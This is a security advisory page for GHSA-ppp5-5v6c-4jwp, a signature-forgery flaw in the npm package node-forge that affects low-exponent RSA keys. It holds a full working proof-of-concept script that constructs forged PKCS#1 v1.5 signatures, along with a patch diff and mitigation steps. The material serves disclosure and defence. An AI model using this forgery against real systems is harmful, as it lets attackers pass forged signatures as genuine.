NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
HIGH severity

Forge has signature forgery in RSA-PKCS due to ASN.1 extra fieldGHSA-ppp5-5v6c-4jwp

HIGH

GHSA-ppp5-5v6c-4jwp is a high-severity (CVSS 7.5) Improper Input Validation vulnerability in node-forge. A fix is available for node-forge — see the affected versions and patch details below.

Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 6, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-ppp5-5v6c-4jwp.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs42th percentile — riskier than 42% of all scored CVEsHighest risk
0.00%0.33%0.65%0.98%0.0%0.5%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

4Kother npm packages depend on this — each one inherits the vulnerability until it's patched upstream
node-forgenpm
55.5Mdownloads / week

Description

Summary

RSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing “garbage” bytes within the ASN structure in order to construct a signature that passes verification, enabling Bleichenbacher style forgery. This issue is similar to CVE-2022-24771, but adds bytes in an addition field within the ASN structure, rather than outside of it.

Additionally, forge does not validate that signatures include a minimum of 8 bytes of padding as defined by the specification, providing attackers additional space to construct Bleichenbacher forgeries.

Impacted Deployments

Tested commit: 8e1d527fe8ec2670499068db783172d4fb9012e5 Affected versions: tested on v1.3.3 (latest release) and recent prior versions.

Configuration assumptions:

  • Invoke key.verify with defaults (default scheme uses RSASSA-PKCS1-v1_5).
  • _parseAllDigestBytes: true (default setting).

Root Cause

In lib/rsa.js, key.verify(...), forge decrypts the signature block, decodes PKCS#1 v1.5 padding (_decodePkcs1_v1_5), parses ASN.1, and compares capture.digest to the provided digest.

Two issues are present with this logic:

  1. Strict DER byte-consumption (_parseAllDigestBytes) only guarantees all bytes are parsed, not that the parsed structure is the canonical minimal DigestInfo shape expected by RFC 8017 verification semantics. A forged EM with attacker-controlled additional ASN.1 content inside the parsed container can still pass forge verification while OpenSSL rejects it.
  2. _decodePkcs1_v1_5 comments mention that PS < 8 bytes should be rejected, but does not implement this logic.

Reproduction Steps

  1. Use Node.js (tested with v24.9.0) and clone digitalbazaar/forge at commit 8e1d527fe8ec2670499068db783172d4fb9012e5.
  2. Place and run the PoC script (repro_min.js) with node repro_min.js in the same level as the forge folder.
  3. The script generates a fresh RSA keypair (4096 bits, e=3), creates a normal control signature, then computes a forged candidate using cube-root interval construction.
  4. The script verifies both signatures with:
  • forge verify (_parseAllDigestBytes: true), and
  • Node/OpenSSL verify (crypto.verify with RSA_PKCS1_PADDING).
  1. Confirm output includes:
  • control-forge-strict: true
  • control-node: true
  • forgery (forge library, strict): true
  • forgery (node/OpenSSL): false

Proof of Concept

Overview:

  • Demonstrates a valid control signature and a forged signature in one run.
  • Uses strict forge parsing mode explicitly (_parseAllDigestBytes: true, also forge default).
  • Uses Node/OpenSSL as an differential verification baseline.
  • Observed output on tested commit:
control-forge-strict: true
control-node: true
forgery (forge library, strict): true
forgery (node/OpenSSL): false
<details><summary>repro_min.js</summary>
#!/usr/bin/env node
'use strict';

const crypto = require('crypto');
const forge = require('./forge/lib/index');

// DER prefix for PKCS#1 v1.5 SHA-256 DigestInfo, without the digest bytes:
// SEQUENCE {
//   SEQUENCE { OID sha256, NULL },
//   OCTET STRING <32-byte digest>
// }
// Hex: 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20
const DIGESTINFO_SHA256_PREFIX = Buffer.from(
  '300d060960864801650304020105000420',
  'hex'
);

const toBig = b => BigInt('0x' + (b.toString('hex') || '0'));
function toBuf(n, len) {
  let h = n.toString(16);
  if (h.length % 2) h = '0' + h;
  const b = Buffer.from(h, 'hex');
  return b.length < len ? Buffer.concat([Buffer.alloc(len - b.length), b]) : b;
}
function cbrtFloor(n) {
  let lo = 0n;
  let hi = 1n;
  while (hi * hi * hi <= n) hi <<= 1n;
  while (lo + 1n < hi) {
    const mid = (lo + hi) >> 1n;
    if (mid * mid * mid <= n) lo = mid;
    else hi = mid;
  }
  return lo;
}
const cbrtCeil = n => {
  const f = cbrtFloor(n);
  return f * f * f === n ? f : f + 1n;
};
function derLen(len) {
  if (len < 0x80) return Buffer.from([len]);
  if (len <= 0xff) return Buffer.from([0x81, len]);
  return Buffer.from([0x82, (len >> 8) & 0xff, len & 0xff]);
}

function forgeStrictVerify(publicPem, msg, sig) {
  const key = forge.pki.publicKeyFromPem(publicPem);
  const md = forge.md.sha256.create();
  md.update(msg.toString('utf8'), 'utf8');
  try {
    // verify(digestBytes, signatureBytes, scheme, options):
    // - digestBytes: raw SHA-256 digest bytes for `msg`
    // - signatureBytes: binary-string representation of the candidate signature
    // - scheme: undefined => default RSASSA-PKCS1-v1_5
    // - options._parseAllDigestBytes: require DER parser to consume all bytes
    //   (this is forge's default for verify; set explicitly here for clarity)
    return { ok: key.verify(md.digest().getBytes(), sig.toString('binary'), undefined, { _parseAllDigestBytes: true }) };
  } catch (err) {
    return { ok: false, err: err.message };
  }
}

function main() {
  const { privateKey, publicKey } = crypto.generateKeyPairSync('rsa', {
    modulusLength: 4096,
    publicExponent: 3,
    privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
    publicKeyEncoding: { type: 'pkcs1', format: 'pem' }
  });

  const jwk = crypto.createPublicKey(publicKey).export({ format: 'jwk' });
  const nBytes = Buffer.from(jwk.n, 'base64url');
  const n = toBig(nBytes);
  const e = toBig(Buffer.from(jwk.e, 'base64url'));
  if (e !== 3n) throw new Error('expected e=3');

  const msg = Buffer.from('forged-message-0', 'utf8');
  const digest = crypto.createHash('sha256').update(msg).digest();
  const algAndDigest = Buffer.concat([DIGESTINFO_SHA256_PREFIX, digest]);

  // Minimal prefix that forge currently accepts: 00 01 00 + DigestInfo + extra OCTET STRING.
  const k = nBytes.length;
  // ffCount can be set to any value at or below 111 and produce a valid signature.
  // ffCount should be rejected for values below 8, since that would constitute a malformed PKCS1 package.
  // However, current versions of node forge do not check for this.
  // Rejection of packages with less than 8 bytes of padding is bad but does not constitute a vulnerability by itself.
  const ffCount = 0; 
  // `garbageLen` affects DER length field sizes, which in turn affect how
  // many bytes remain for garbage. Iterate to a fixed point so total EM size is exactly `k`.
  // A small cap (8) is enough here: DER length-size transitions are discrete
  // and few (<128, <=255, <=65535, ...), so this stabilizes quickly.
  let garbageLen = 0;
  for (let i = 0; i < 8; i += 1) {
    const gLenEnc = derLen(garbageLen).length;
    const seqLen = algAndDigest.length + 1 + gLenEnc + garbageLen;
    const seqLenEnc = derLen(seqLen).length;
    const fixed = 2 + ffCount + 1 + 1 + seqLenEnc + algAndDigest.length + 1 + gLenEnc;
    const next = k - fixed;
    if (next === garbageLen) break;
    garbageLen = next;
  }
  const seqLen = algAndDigest.length + 1 + derLen(garbageLen).length + garbageLen;
  const prefix = Buffer.concat([
    Buffer.from([0x00, 0x01]),
    Buffer.alloc(ffCount, 0xff),
    Buffer.from([0x00]),
    Buffer.from([0x30]), derLen(seqLen),
    algAndDigest,
    Buffer.from([0x04]), derLen(garbageLen)
  ]);

  // Build the numeric interval of all EM values that start with `prefix`:
  // - `low`  = prefix || 00..00
  // - `high` = one past (prefix || ff..ff)
  // Then find `s` such that s^3 is inside [low, high), so EM has our prefix.
  const suffixLen = k - prefix.length;
  const low = toBig(Buffer.concat([prefix, Buffer.alloc(suffixLen)]));
  const high = low + (1n << BigInt(8 * suffixLen));
  const s = cbrtCeil(low);
  if (s > cbrtFloor(high - 1n) || s >= n) throw new Error('no candidate in interval');

  const sig = toBuf(s, k);

  const controlMsg = Buffer.from('control-message', 'utf8');
  const controlSig = crypto.sign('sha256', controlMsg, {
    key: privateKey,
    padding: crypto.constants.RSA_PKCS1_PADDING
  });

  // forge verification calls (library under test)
  const controlForge = forgeStrictVerify(publicKey, controlMsg, controlSig);
  const forgedForge = forgeStrictVerify(publicKey, msg, sig);

  // Node.js verification calls (OpenSSL-backed reference behavior)
  const controlNode = crypto.verify('sha256', controlMsg, {
    key: publicKey,
    padding: crypto.constants.RSA_PKCS1_PADDING
  }, controlSig);
  const forgedNode = crypto.verify('sha256', msg, {
    key: publicKey,
    padding: crypto.constants.RSA_PKCS1_PADDING
  }, sig);

  console.log('control-forge-strict:', controlForge.ok, controlForge.err || '');
  console.log('control-node:', controlNode);
  console.log('forgery (forge library, strict):', forgedForge.ok, forgedForge.err || '');
  console.log('forgery (node/OpenSSL):', forgedNode);
}

main();
</details>

Suggested Patch

  • Enforce PKCS#1 v1.5 BT=0x01 minimum padding length (PS >= 8) in _decodePkcs1_v1_5 before accepting the block.
  • Update the RSASSA-PKCS1-v1_5 verifier to require canonical DigestInfo structure only (no extra attacker-controlled ASN.1 content beyond expected fields).

Here is a Forge-tested patch to resolve the issue, though it should be verified for consumer projects:

index b207a63..ec8a9c1 100644
--- a/lib/rsa.js
+++ b/lib/rsa.js
@@ -1171,6 +1171,14 @@ pki.setRsaPublicKey = pki.rsa.setPublicKey = function(n, e) {
             error.errors = errors;
             throw error;
           }
+
+          if(obj.value.length != 2) {
+            var error = new Error(
+              'DigestInfo ASN.1 object must contain exactly 2 fields for ' +
+              'a valid RSASSA-PKCS1-v1_5 package.');
+            error.errors = errors;
+            throw error;
+          }
           // check hash algorithm identifier
           // see PKCS1-v1-5DigestAlgorithms in RFC 8017
           // FIXME: add support to validator for strict value choices
@@ -1673,6 +1681,10 @@ function _decodePkcs1_v1_5(em, key, pub, ml) {
       }
       ++padNum;
     }
+
+    if (padNum < 8) {
+      throw new Error('Encryption block is invalid.');
+    }
   } else if(bt === 0x02) {
     // look for 0x00 byte
     padNum = 0;

Resources

Credit

This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmnode-forgeall versions1.4.0npm install node-forge@1.4.0

Affected Products

1 product · 1 configurations
Application
forgedigitalbazaar
< 1.4.0
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for node-forge, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update node-forge to 1.4.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-ppp5-5v6c-4jwp is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatImportant
Workaround published by Red Hat
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.
Source: Red Hat security advisory for GHSA-ppp5-5v6c-4jwp (CC BY 4.0)
ProductFixed inAdvisory
Red Hat Ansible Automation Platform 2.5 for RHEL 8automation-gateway-0:2.5.20260422-3.el8apRHSA-2026:24761
Cluster Observability Operator 1.5cluster-observability-operator/logging-console-plugin-pf4-rhel9:1782839279RHSA-2026:34342
Red Hat Ceph Storage 9.2rhceph/rhceph-9-rhel10:1790843527RHSA-2026:86618
Red Hat Developer Hub 1.8rhdh/rhdh-hub-rhel9:1776784286RHSA-2026:9742
Red Hat Developer Hub 1.9rhdh/rhdh-hub-rhel9:1777903262RHSA-2026:13826
Red Hat Quay 3.10quay/quay-rhel8:1779822261RHSA-2026:22840
Red Hat Quay 3.12quay/quay-rhel8:1779811412RHSA-2026:22629
Red Hat Quay 3.14quay/quay-rhel8:1779689392RHSA-2026:21017

Frequently Asked Questions

## Summary RSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing “garbage” bytes within the ASN structure in order to construct a signature that passes verification, enabling [Bleichenbacher style forgery](https://mailarchive.ietf.org/arch/msg/openpgp/5rnE9ZRN1AokBVj3VqblGlP63QE/). This issue is similar to [CVE-2022-24771](https://github.com/digitalbazaar/forge/security/advisories/GHSA-cfm4-qjh2-4765), but adds bytes in an addition field within the ASN structure, rather than outside of it. Additional
O3 Security · Impact-Aware SCA

Is GHSA-ppp5-5v6c-4jwp in your dependencies?

Find it across npm, including transitive dependencies.

Forge has signature forgery in RSA-PKCS due to ASN.1…